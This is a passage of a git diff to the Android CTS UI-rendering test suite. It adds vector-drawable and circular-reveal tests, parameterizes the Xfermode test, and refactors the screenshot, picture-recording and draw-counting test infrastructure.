+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapverifiers.RectVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class VectorDrawableTests extends ActivityTestBase {
+    @Test
+    public void testScaleDown() {
+        VectorDrawable vd = (VectorDrawable) getActivity().getResources().getDrawable(
+                R.drawable.rectangle, null);
+        createTest()
+                .addCanvasClient((canvas, width, height) -> {
+                    canvas.scale(0.5f, 0.5f);
+                    vd.setBounds(new Rect(0, 0, 50, 50));
+                    vd.draw(canvas);
+                })
+                .runWithVerifier(
+                        new RectVerifier(Color.WHITE, Color.RED, new Rect(0, 0, 25, 25)));
+    }
+}
+
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
new file mode 100644
index 0000000..88aa265
--- /dev/null
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewAnimationUtilsTests.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.uirendering.cts.testclasses;
+
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
+import android.uirendering.cts.bitmapcomparers.MSSIMComparer;
+import android.uirendering.cts.bitmapverifiers.GoldenImageVerifier;
+import android.uirendering.cts.testinfrastructure.ActivityTestBase;
+import android.uirendering.cts.testinfrastructure.ViewInitializer;
+import android.view.ViewAnimationUtils;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class ViewAnimationUtilsTests extends ActivityTestBase {
+    @Test
+    public void testCreateCircularReveal() {
+        createTest()
+                .addLayout(R.layout.blue_padded_layout, (ViewInitializer) view -> {
+                    ViewAnimationUtils.createCircularReveal(view, 45, 45, 45, 45)
+                            .setDuration(10000) // 10 sec, longer than animation
+                            .start();
+                }, true)
+                .runWithVerifier(new GoldenImageVerifier(getActivity(),
+                        R.drawable.golden_blue_circle, new MSSIMComparer(0.99)));
+    }
+}
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
index c8ca8c3..d1f0ee5 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ViewClippingTests.java
@@ -1,10 +1,14 @@
 package android.uirendering.cts.testclasses;
 
+import static org.junit.Assert.assertFalse;
+
 import android.graphics.Color;
 import android.graphics.Outline;
 import android.graphics.Path;
 import android.graphics.Rect;
-import android.test.suitebuilder.annotation.MediumTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.uirendering.cts.R;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
 import android.uirendering.cts.bitmapverifiers.RectVerifier;
 import android.uirendering.cts.testclasses.view.UnclippedBlueView;
@@ -13,10 +17,9 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.view.ViewOutlineProvider;
-import android.uirendering.cts.R;
-import org.junit.Test;
 
-import static org.junit.Assert.assertFalse;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 /**
  * This tests view clipping by modifying properties of blue_padded_layout, and validating
@@ -25,6 +28,7 @@
  * Since the layout is blue on a white background, this is always done with a RectVerifier.
  */
 @MediumTest
+@RunWith(AndroidJUnit4.class)
 public class ViewClippingTests extends ActivityTestBase {
     static final Rect FULL_RECT = new Rect(0, 0, 90, 90);
     static final Rect BOUNDS_RECT = new Rect(0, 0, 80, 80);
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
index 4f2e0ab..acae80f 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/XfermodeTest.java
@@ -17,22 +17,27 @@
 
 import android.graphics.Bitmap;
 import android.graphics.Canvas;
+import android.graphics.Color;
 import android.graphics.Paint;
 import android.graphics.Point;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffXfermode;
 import android.graphics.RectF;
-import android.test.suitebuilder.annotation.LargeTest;
+import android.graphics.drawable.ColorDrawable;
+import android.support.test.filters.LargeTest;
 import android.uirendering.cts.bitmapverifiers.SamplePointVerifier;
 import android.uirendering.cts.testinfrastructure.ActivityTestBase;
 import android.uirendering.cts.testinfrastructure.CanvasClient;
+
 import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 import java.util.ArrayList;
 import java.util.List;
 
-@LargeTest // large while non-parameterized
-//@RunWith(Parameterized.class) // TODO: Reenable when CTS supports parameterized tests
+@LargeTest // Temporarily hidden from presubmit
+@RunWith(Parameterized.class)
 public class XfermodeTest extends ActivityTestBase {
     /**
      * There are 4 locations we care about in testing each filter:
@@ -123,12 +128,27 @@
                 BG_COLOR, DST_COLOR, SCREEN_COLOR, SRC_COLOR } },
     };
 
-    //@Parameterized.Parameters(name = "{0}")
+    @Parameterized.Parameters(name = "{0}")
     public static List<Config> configs() {
         return configs(MODES_AND_EXPECTED_COLORS);
     }
 
-    private Config mConfig;
+    private final Config mConfig;
+
+    public XfermodeTest(Config config) {
+        mConfig = config;
+    }
+
+
+    @Override
+    public void setUp() {
+        super.setUp();
+
+        // temporary - ensure test isn't capturing window bg only
+        getInstrumentation().runOnMainSync(() -> getActivity().getWindow().setBackgroundDrawable(
+                        new ColorDrawable(Color.GREEN)));
+
+    }
 
     private CanvasClient mCanvasClient = new CanvasClient() {
         final Paint mPaint = new Paint();
@@ -139,6 +159,8 @@
 
         @Override
         public void draw(Canvas canvas, int width, int height) {
+            canvas.drawColor(Color.WHITE); // temporary - ensure test isn't capturing window bg only
+
             int sc = canvas.saveLayer(0, 0, TEST_WIDTH, TEST_HEIGHT, null);
 
             canvas.drawBitmap(mDstBitmap, 0, 0, null);
@@ -169,11 +191,8 @@
 
     @Test
     public void test() {
-        for (XfermodeTest.Config config : configs()) {
-            mConfig = config;
-            createTest()
-                    .addCanvasClient(mCanvasClient, mConfig.hardwareAccelerated)
-                    .runWithVerifier(new SamplePointVerifier(TEST_POINTS, mConfig.expectedColors));
-        }
+        createTest()
+                .addCanvasClient(mCanvasClient, mConfig.hardwareAccelerated)
+                .runWithVerifier(new SamplePointVerifier(TEST_POINTS, mConfig.expectedColors));
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
index ae915db..d6a196a 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/ActivityTestBase.java
@@ -15,22 +15,25 @@
  */
 package android.uirendering.cts.testinfrastructure;
 
-import android.annotation.Nullable;
+import com.android.compatibility.common.util.SynchronousPixelCopy;
+
 import android.app.Instrumentation;
+import android.content.Intent;
 import android.graphics.Bitmap;
+import android.graphics.Bitmap.Config;
 import android.graphics.Point;
-import android.renderscript.Allocation;
-import android.renderscript.RenderScript;
-import android.support.test.rule.ActivityTestRule;
+import android.graphics.Rect;
+import android.support.annotation.Nullable;
+import android.support.test.InstrumentationRegistry;
 import android.uirendering.cts.bitmapcomparers.BitmapComparer;
 import android.uirendering.cts.bitmapverifiers.BitmapVerifier;
-import android.uirendering.cts.differencevisualizers.DifferenceVisualizer;
-import android.uirendering.cts.differencevisualizers.PassFailVisualizer;
-import android.uirendering.cts.util.BitmapDumper;
+import android.uirendering.cts.util.BitmapAsserter;
 import android.util.Log;
+import android.view.PixelCopy;
 
-import android.support.test.InstrumentationRegistry;
 import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.rules.TestName;
@@ -40,8 +43,6 @@
 import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.TimeUnit;
 
-import static org.junit.Assert.assertTrue;
-
 /**
  * This class contains the basis for the graphics hardware test classes. Contained within this class
  * are several methods that help with the execution of tests, and should be extended to gain the
@@ -50,44 +51,21 @@
 public abstract class ActivityTestBase {
     public static final String TAG = "ActivityTestBase";
     public static final boolean DEBUG = false;
-    public static final boolean USE_RS = false;
 
     //The minimum height and width of a device
     public static final int TEST_WIDTH = 90;
     public static final int TEST_HEIGHT = 90;
 
-    private int[] mHardwareArray = new int[TEST_HEIGHT * TEST_WIDTH];
-    private int[] mSoftwareArray = new int[TEST_HEIGHT * TEST_WIDTH];
-    private DifferenceVisualizer mDifferenceVisualizer;
-    private RenderScript mRenderScript;
     private TestCaseBuilder mTestCaseBuilder;
+    private Screenshotter mScreenshotter;
 
-    @Rule
-    public ActivityTestRule<DrawActivity> mActivityRule = new ActivityTestRule<>(
-            DrawActivity.class);
+    private static DrawActivity sActivity;
 
     @Rule
     public TestName name = new TestName();
 
-    /**
-     * The default constructor creates the package name and sets the DrawActivity as the class that
-     * we would use.
-     */
-    public ActivityTestBase() {
-        mDifferenceVisualizer = new PassFailVisualizer();
-
-        // Create a location for the files to be held, if it doesn't exist already
-        BitmapDumper.createSubDirectory(this.getClass().getSimpleName());
-
-        // If we have a test currently, let's remove the older files if they exist
-        if (getName() != null) {
-            BitmapDumper.deleteFileInClassFolder(this.getClass().getSimpleName(), getName());
-        }
-    }
-
-    protected DrawActivity getActivity() {
-        return mActivityRule.getActivity();
-    }
+    private BitmapAsserter mBitmapAsserter = new BitmapAsserter(this.getClass().getSimpleName(),
+            name.getMethodName());
 
     protected String getName() {
         return name.getMethodName();
@@ -97,12 +75,30 @@
         return InstrumentationRegistry.getInstrumentation();
     }
 
+    protected DrawActivity getActivity() {
+        if (sActivity == null) {
+            Instrumentation instrumentation = getInstrumentation();
+            instrumentation.setInTouchMode(true);
+            Intent intent = new Intent(Intent.ACTION_MAIN);
+            intent.setClass(instrumentation.getTargetContext(), DrawActivity.class);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            sActivity = (DrawActivity) instrumentation.startActivitySync(intent);
+        }
+        return sActivity;
+    }
+
+    @AfterClass
+    public static void tearDownClass() {
+        if (sActivity != null) {
+            // All tests are finished, tear down the activity
+            sActivity.allTestsFinished();
+            sActivity = null;
+        }
+    }
+
     @Before
     public void setUp() {
-        mDifferenceVisualizer = new PassFailVisualizer();
-        if (USE_RS) {
-            mRenderScript = RenderScript.create(getActivity().getApplicationContext());
-        }
+        mBitmapAsserter.setUp(getActivity());
     }
 
     @After
@@ -125,14 +121,25 @@
     }
 
     public Bitmap takeScreenshot(Point testOffset) {
-        Bitmap source = getInstrumentation().getUiAutomation().takeScreenshot();
-        return Bitmap.createBitmap(source, testOffset.x, testOffset.y, TEST_WIDTH, TEST_HEIGHT);
+        if (mScreenshotter == null) {
+            SynchronousPixelCopy copy = new SynchronousPixelCopy();
+            Bitmap dest = Bitmap.createBitmap(
+                    TEST_WIDTH, TEST_HEIGHT, Config.ARGB_8888);
+            Rect srcRect = new Rect(testOffset.x, testOffset.y,
+                    testOffset.x + TEST_WIDTH, testOffset.y + TEST_HEIGHT);
+            Log.d("UiRendering", "capturing screenshot of " + srcRect.toShortString());
+            int copyResult = copy.request(getActivity().getWindow(), srcRect, dest);
+            Assert.assertEquals(PixelCopy.SUCCESS, copyResult);
+            return dest;
+        } else {
+            return mScreenshotter.takeScreenshot(testOffset);
+        }
     }
 
     protected Point runRenderSpec(TestCase testCase) {
         Point testOffset = getActivity().enqueueRenderSpecAndWait(
                 testCase.layoutID, testCase.canvasClient,
-                null, testCase.viewInitializer, testCase.useHardware);
+                testCase.viewInitializer, testCase.useHardware, testCase.usePicture);
         testCase.wasTestRan = true;
         if (testCase.readyFence != null) {
             try {
@@ -152,59 +159,16 @@
         return takeScreenshot(testOffset);
     }
 
-    /**
-     * Compares the two bitmaps saved using the given test. If they fail, the files are saved using
-     * the test name.
-     */
-    protected void assertBitmapsAreSimilar(Bitmap bitmap1, Bitmap bitmap2,
-            BitmapComparer comparer, String debugMessage) {
-        boolean success;
-
-        if (USE_RS && comparer.supportsRenderScript()) {
-            Allocation idealAllocation = Allocation.createFromBitmap(mRenderScript, bitmap1,
-                    Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT);
-            Allocation givenAllocation = Allocation.createFromBitmap(mRenderScript, bitmap2,
-                    Allocation.MipmapControl.MIPMAP_NONE, Allocation.USAGE_SCRIPT);
-            success = comparer.verifySameRS(getActivity().getResources(), idealAllocation,
-                    givenAllocation, 0, TEST_WIDTH, TEST_WIDTH, TEST_HEIGHT, mRenderScript);
-        } else {
-            bitmap1.getPixels(mSoftwareArray, 0, TEST_WIDTH, 0, 0, TEST_WIDTH, TEST_HEIGHT);
-            bitmap2.getPixels(mHardwareArray, 0, TEST_WIDTH, 0, 0, TEST_WIDTH, TEST_HEIGHT);
-            success = comparer.verifySame(mSoftwareArray, mHardwareArray, 0, TEST_WIDTH, TEST_WIDTH,
-                    TEST_HEIGHT);
-        }
-
-        if (!success) {
-            BitmapDumper.dumpBitmaps(bitmap1, bitmap2, getName(), this.getClass().getSimpleName(),
-                    mDifferenceVisualizer);
-        }
-
-        assertTrue(debugMessage, success);
-    }
-
-    /**
-     * Tests to see if a bitmap passes a verifier's test. If it doesn't the bitmap is saved to the
-     * sdcard.
-     */
-    protected void assertBitmapIsVerified(Bitmap bitmap, BitmapVerifier bitmapVerifier,
-            String debugMessage) {
-        bitmap.getPixels(mSoftwareArray, 0, TEST_WIDTH, 0, 0,
-                TEST_WIDTH, TEST_HEIGHT);
-        boolean success = bitmapVerifier.verify(mSoftwareArray, 0, TEST_WIDTH, TEST_WIDTH, TEST_HEIGHT);
-        if (!success) {
-            Bitmap croppedBitmap = Bitmap.createBitmap(bitmap, 0, 0, TEST_WIDTH, TEST_HEIGHT);
-            BitmapDumper.dumpBitmap(croppedBitmap, getName(), this.getClass().getSimpleName());
-            BitmapDumper.dumpBitmap(bitmapVerifier.getDifferenceBitmap(), getName() + "_verifier",
-                    this.getClass().getSimpleName());
-        }
-        assertTrue(debugMessage, success);
-    }
-
     protected TestCaseBuilder createTest() {
         mTestCaseBuilder = new TestCaseBuilder();
+        mScreenshotter = null;
         return mTestCaseBuilder;
     }
 
+    public interface Screenshotter {
+        Bitmap takeScreenshot(Point point);
+    }
+
     /**
      * Defines a group of CanvasClients, XML layouts, and WebView html files for testing.
      */
@@ -228,8 +192,8 @@
 
             for (TestCase testCase : mTestCases) {
                 Bitmap testCaseBitmap = captureRenderSpec(testCase);
-                assertBitmapsAreSimilar(idealBitmap, testCaseBitmap, bitmapComparer,
-                        testCase.getDebugString());
+                mBitmapAsserter.assertBitmapsAreSimilar(idealBitmap, testCaseBitmap, bitmapComparer,
+                        getName(), testCase.getDebugString());
             }
         }
 
@@ -244,8 +208,10 @@
 
             for (TestCase testCase : mTestCases) {
                 Bitmap testCaseBitmap = captureRenderSpec(testCase);
-                assertBitmapIsVerified(testCaseBitmap, bitmapVerifier, testCase.getDebugString());
+                mBitmapAsserter.assertBitmapIsVerified(testCaseBitmap, bitmapVerifier,
+                        getName(), testCase.getDebugString());
             }
+            getActivity().reset();
         }
 
         private static final int VERIFY_ANIMATION_LOOP_COUNT = 20;
@@ -273,8 +239,8 @@
                         e.printStackTrace();
                     }
                     Bitmap testCaseBitmap = takeScreenshot(testOffset);
-                    assertBitmapIsVerified(testCaseBitmap, bitmapVerifier,
-                            testCase.getDebugString());
+                    mBitmapAsserter.assertBitmapIsVerified(testCaseBitmap, bitmapVerifier,
+                            getName(), testCase.getDebugString());
                 }
             }
         }
@@ -293,6 +259,12 @@
             });
         }
 
+        public TestCaseBuilder withScreenshotter(Screenshotter screenshotter) {
+            Assert.assertNull("Screenshotter is already set!", mScreenshotter);
+            mScreenshotter = screenshotter;
+            return this;
+        }
+
         public TestCaseBuilder addLayout(int layoutId, @Nullable ViewInitializer viewInitializer) {
             return addLayout(layoutId, viewInitializer, false)
                     .addLayout(layoutId, viewInitializer, true);
@@ -327,7 +299,28 @@
 
         public TestCaseBuilder addCanvasClient(String debugString,
                     CanvasClient canvasClient, boolean useHardware) {
-            mTestCases.add(new TestCase(canvasClient, debugString, useHardware));
+            return addCanvasClientInternal(debugString, canvasClient, useHardware, false)
+                    .addCanvasClientInternal(debugString, canvasClient, useHardware, true);
+        }
+
+        public TestCaseBuilder addCanvasClientWithoutUsingPicture(CanvasClient canvasClient) {
+            return addCanvasClientWithoutUsingPicture(null, canvasClient);
+        }
+
+        public TestCaseBuilder addCanvasClientWithoutUsingPicture(String debugString,
+                CanvasClient canvasClient) {
+            return addCanvasClientInternal(debugString, canvasClient, false, false)
+                    .addCanvasClientInternal(debugString, canvasClient, true, false);
+        }
+
+        public TestCaseBuilder addCanvasClientWithoutUsingPicture(CanvasClient canvasClient,
+                boolean useHardware) {
+            return addCanvasClientInternal(null, canvasClient, useHardware, false);
+        }
+
+        private TestCaseBuilder addCanvasClientInternal(String debugString,
+                CanvasClient canvasClient, boolean useHardware, boolean usePicture) {
+            mTestCases.add(new TestCase(canvasClient, debugString, useHardware, usePicture));
             return this;
         }
 
@@ -349,6 +342,7 @@
         public String canvasClientDebugString;
 
         public boolean useHardware;
+        public boolean usePicture = false;
         public boolean wasTestRan = false;
 
         public TestCase(int layoutId, ViewInitializer viewInitializer, boolean useHardware) {
@@ -357,10 +351,12 @@
             this.useHardware = useHardware;
         }
 
-        public TestCase(CanvasClient client, String debugString, boolean useHardware) {
+        public TestCase(CanvasClient client, String debugString, boolean useHardware,
+                boolean usePicture) {
             this.canvasClient = client;
             this.canvasClientDebugString = debugString;
             this.useHardware = useHardware;
+            this.usePicture = usePicture;
         }
 
         public String getDebugString() {
@@ -376,7 +372,8 @@
                 debug += "Layout resource : " +
                         getActivity().getResources().getResourceName(layoutID);
             }
-            debug += "\nTest ran in " + (useHardware ? "hardware" : "software") + "\n";
+            debug += "\nTest ran in " + (useHardware ? "hardware" : "software") +
+                    (usePicture ? " with picture" : " without picture") + "\n";
             return debug;
         }
     }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/CanvasClientView.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/CanvasClientView.java
index 81183e5..8012c82 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/CanvasClientView.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/CanvasClientView.java
@@ -19,6 +19,7 @@
 import android.graphics.Canvas;
 import android.graphics.Color;
 import android.graphics.Paint;
+import android.graphics.Picture;
 import android.util.AttributeSet;
 import android.view.View;
 
@@ -26,6 +27,7 @@
  * A simple View that uses a CanvasClient to draw its contents
  */
 public class CanvasClientView extends View {
+    private boolean mUsePicture = false;
     private CanvasClient mCanvasClient;
 
     public CanvasClientView(Context context) {
@@ -40,6 +42,10 @@
         super(context, attrs, defStyleAttr);
     }
 
+    public void setUsePicture(boolean usePicture) {
+        mUsePicture = usePicture;
+    }
+
     public void setCanvasClient(CanvasClient canvasClient) {
         mCanvasClient = canvasClient;
     }
@@ -57,7 +63,17 @@
 
         int saveCount = canvas.save();
         canvas.clipRect(0, 0, ActivityTestBase.TEST_WIDTH, ActivityTestBase.TEST_HEIGHT);
-        mCanvasClient.draw(canvas, ActivityTestBase.TEST_WIDTH, ActivityTestBase.TEST_HEIGHT);
+        if (mUsePicture) {
+            Picture picture = new Picture();
+            Canvas pictureCanvas = picture.beginRecording(ActivityTestBase.TEST_WIDTH,
+                    ActivityTestBase.TEST_HEIGHT);
+            mCanvasClient.draw(pictureCanvas, ActivityTestBase.TEST_WIDTH,
+                    ActivityTestBase.TEST_HEIGHT);
+            picture.endRecording();
+            picture.draw(canvas);
+        } else {
+            mCanvasClient.draw(canvas, ActivityTestBase.TEST_WIDTH, ActivityTestBase.TEST_HEIGHT);
+        }
         canvas.restoreToCount(saveCount);
     }
 }
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DisplayModifier.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DisplayModifier.java
index 99a9ef6..3fc8da7 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DisplayModifier.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DisplayModifier.java
@@ -17,6 +17,8 @@
 
 import android.graphics.Canvas;
 import android.graphics.ColorFilter;
+import android.graphics.ColorMatrix;
+import android.graphics.ColorMatrixColorFilter;
 import android.graphics.Paint;
 import android.graphics.PorterDuff;
 import android.graphics.PorterDuffColorFilter;
@@ -326,6 +328,22 @@
                                 put(PORTERDUFF_MODES[i].toString(),
                                         new XfermodeModifier(PORTERDUFF_MODES[i]));
                             }
+                            put("lowSaturationColorMatrix", new DisplayModifier() {
+                                @Override
+                                public void modifyDrawing(Paint paint, Canvas canvas) {
+                                    ColorMatrix matrix = new ColorMatrix();
+                                    matrix.setSaturation(0.1f);
+                                    paint.setColorFilter(new ColorMatrixColorFilter(matrix));
+                                }
+                            });
+                            put("highSaturationColorMatrix", new DisplayModifier() {
+                                @Override
+                                public void modifyDrawing(Paint paint, Canvas canvas) {
+                                    ColorMatrix matrix = new ColorMatrix();
+                                    matrix.setSaturation(10.0f);
+                                    paint.setColorFilter(new ColorMatrixColorFilter(matrix));
+                                }
+                            });
                         }
                     });
 
@@ -494,6 +512,7 @@
 
                 modifierMapIndex--;
             }
+            getModifierList(); // Just to update mDebugString
             return true;
         }
 
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
index 1be34f9..9820ab2 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testinfrastructure/DrawActivity.java
@@ -15,19 +15,27 @@
  */
 package android.uirendering.cts.testinfrastructure;
 
-import android.annotation.Nullable;
+import static org.junit.Assert.fail;
+
 import android.app.Activity;
 import android.content.res.Configuration;
 import android.graphics.Point;
 import android.os.Bundle;
 import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.Message;
+import android.support.annotation.Nullable;
+import android.uirendering.cts.R;
+import android.util.Log;
+import android.view.FrameMetrics;
 import android.view.View;
+import android.view.ViewGroup;
 import android.view.ViewStub;
 import android.view.ViewTreeObserver;
-import android.webkit.WebView;
+import android.view.Window;
 
-import android.uirendering.cts.R;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * A generic activity that uses a view specified by the user.
@@ -35,7 +43,6 @@
 public class DrawActivity extends Activity {
     private final static long TIME_OUT_MS = 10000;
     private final Point mLock = new Point();
-    public static final int MIN_NUMBER_OF_DRAWS = 20;
 
     private Handler mHandler;
     private View mView;
@@ -49,26 +56,52 @@
         mHandler = new RenderSpecHandler();
         int uiMode = getResources().getConfiguration().uiMode;
         mOnTv = (uiMode & Configuration.UI_MODE_TYPE_MASK) == Configuration.UI_MODE_TYPE_TELEVISION;
+
+        // log frame metrics
+        HandlerThread handlerThread = new HandlerThread("FrameMetrics");
+        handlerThread.start();
+        getWindow().addOnFrameMetricsAvailableListener(
+                new Window.OnFrameMetricsAvailableListener() {
+                    int mRtFrameCount = 0;
+                    @Override
+                    public void onFrameMetricsAvailable(Window window, FrameMetrics frameMetrics,
+                            int dropCountSinceLastInvocation) {
+                        Log.d("UiRendering", "Window frame count " + mRtFrameCount
+                                + ", frame drops " + dropCountSinceLastInvocation);
+                        mRtFrameCount++;
+                    }
+                }, new Handler(handlerThread.getLooper()));
+
+        // log draw metrics
+        View view = new View(this);
+        setContentView(view);
+        view.getViewTreeObserver().addOnDrawListener(new ViewTreeObserver.OnDrawListener() {
+            int mFrameCount;
+            @Override
+            public void onDraw() {
+                Log.d("UiRendering", "View tree frame count " + mFrameCount);
+                mFrameCount++;
+            }
+        });
     }
 
     public boolean getOnTv() {
         return mOnTv;
     }
 
-    public Point enqueueRenderSpecAndWait(int layoutId, CanvasClient canvasClient, String webViewUrl,
-            @Nullable ViewInitializer viewInitializer, boolean useHardware) {
+    public Point enqueueRenderSpecAndWait(int layoutId, CanvasClient canvasClient,
+            @Nullable ViewInitializer viewInitializer, boolean useHardware, boolean usePicture) {
         ((RenderSpecHandler) mHandler).setViewInitializer(viewInitializer);
         int arg2 = (useHardware ? View.LAYER_TYPE_NONE : View.LAYER_TYPE_SOFTWARE);
-        if (canvasClient != null) {
-            mHandler.obtainMessage(RenderSpecHandler.CANVAS_MSG, 0, arg2, canvasClient).sendToTarget();
-        } else if (webViewUrl != null) {
-            mHandler.obtainMessage(RenderSpecHandler.WEB_VIEW_MSG, 0, arg2, webViewUrl).sendToTarget();
-        } else {
-            mHandler.obtainMessage(RenderSpecHandler.LAYOUT_MSG, layoutId, arg2).sendToTarget();
-        }
-
         Point point = new Point();
         synchronized (mLock) {
+            if (canvasClient != null) {
+                mHandler.obtainMessage(RenderSpecHandler.CANVAS_MSG, usePicture ? 1 : 0,
+                        arg2, canvasClient).sendToTarget();
+            } else {
+                mHandler.obtainMessage(RenderSpecHandler.LAYOUT_MSG, layoutId, arg2).sendToTarget();
+            }
+
             try {
                 mLock.wait(TIME_OUT_MS);
                 point.set(mLock.x, mLock.y);
@@ -79,12 +112,30 @@
         return point;
     }
 
+    public void reset() {
+        CountDownLatch fence = new CountDownLatch(1);
+        mHandler.obtainMessage(RenderSpecHandler.RESET_MSG, fence).sendToTarget();
+        try {
+            if (!fence.await(10, TimeUnit.SECONDS)) {
+                fail("Timeout exception");
+            }
+        } catch (InterruptedException ex) {
+            fail(ex.getMessage());
+        }
+    }
+
     private ViewInitializer mViewInitializer;
 
+    private void notifyOnDrawCompleted() {
+        DrawCounterListener onDrawListener = new DrawCounterListener();
+        mView.getViewTreeObserver().addOnDrawListener(onDrawListener);
+        mView.invalidate();
+    }
+
     private class RenderSpecHandler extends Handler {
+        public static final int RESET_MSG = 0;
         public static final int LAYOUT_MSG = 1;
         public static final int CANVAS_MSG = 2;
-        public static final int WEB_VIEW_MSG = 3;
 
 
         public void setViewInitializer(ViewInitializer viewInitializer) {
@@ -92,7 +143,12 @@
         }
 
         public void handleMessage(Message message) {
-            int drawCountDelay = 0;
+            Log.d("UiRendering", "message of type " + message.what);
+            if (message.what == RESET_MSG) {
+                ((ViewGroup)findViewById(android.R.id.content)).removeAllViews();
+                ((CountDownLatch)message.obj).countDown();
+                return;
+            }
             setContentView(R.layout.test_container);
             ViewStub stub = (ViewStub) findViewById(R.id.test_content_stub);
             mViewWrapper = findViewById(R.id.test_content_wrapper);
@@ -100,23 +156,15 @@
                 case LAYOUT_MSG: {
                     stub.setLayoutResource(message.arg1);
                     mView = stub.inflate();
-
-                    // temporary hack to accomodate webview that may be contained in layout
-                    drawCountDelay = 10;
                 } break;
 
                 case CANVAS_MSG: {
                     stub.setLayoutResource(R.layout.test_content_canvasclientview);
                     mView = stub.inflate();
                     ((CanvasClientView) mView).setCanvasClient((CanvasClient) (message.obj));
-                } break;
-
-                case WEB_VIEW_MSG: {
-                    stub.setLayoutResource(R.layout.test_content_webview);
-                    mView = stub.inflate();
-                    ((WebView) mView).loadUrl((String) message.obj);
-                    ((WebView) mView).setInitialScale(100);
-                    drawCountDelay = 10;
+                    if (message.arg1 != 0) {
+                        ((CanvasClientView) mView).setUsePicture(true);
+                    }
                 } break;
             }
 
@@ -132,11 +180,7 @@
             // can control layer type of View under test.
             mViewWrapper.setLayerType(message.arg2, null);
 
-            DrawCounterListener onDrawListener = new DrawCounterListener(drawCountDelay);
-
-            mView.getViewTreeObserver().addOnPreDrawListener(onDrawListener);
-
-            mView.postInvalidate();
+            notifyOnDrawCompleted();
         }
     }
 
@@ -148,28 +192,37 @@
         }
     }
 
-    private class DrawCounterListener implements ViewTreeObserver.OnPreDrawListener {
-        private int mCurrentDraws = 0;
-        private int mExtraDraws;
+    @Override
+    public void finish() {
+        // Ignore
+    }
 
-        public DrawCounterListener(int extraDraws) {
-            mExtraDraws = extraDraws;
-        }
+    /** Call this when all the tests that use this activity have completed.
+     * This will then clean up any internal state and finish the activity. */
+    public void allTestsFinished() {
+        super.finish();
+    }
+
+    private class DrawCounterListener implements ViewTreeObserver.OnDrawListener {
+        private final int[] mLocationOnScreen = new int[2];
+        private static final int DEBUG_REQUIRE_EXTRA_FRAMES = 1;
+        private int mDrawCount = 0;
 
         @Override
-        public boolean onPreDraw() {
-            mCurrentDraws++;
-            if (mCurrentDraws < MIN_NUMBER_OF_DRAWS + mExtraDraws) {
+        public void onDraw() {
+            if (++mDrawCount <= DEBUG_REQUIRE_EXTRA_FRAMES) {
                 mView.postInvalidate();
-            } else {
+                return;
+            }
+            mView.post(() -> {
+                Log.d("UiRendering", "notifying capture");
+                mView.getViewTreeObserver().removeOnDrawListener(this);
                 synchronized (mLock) {
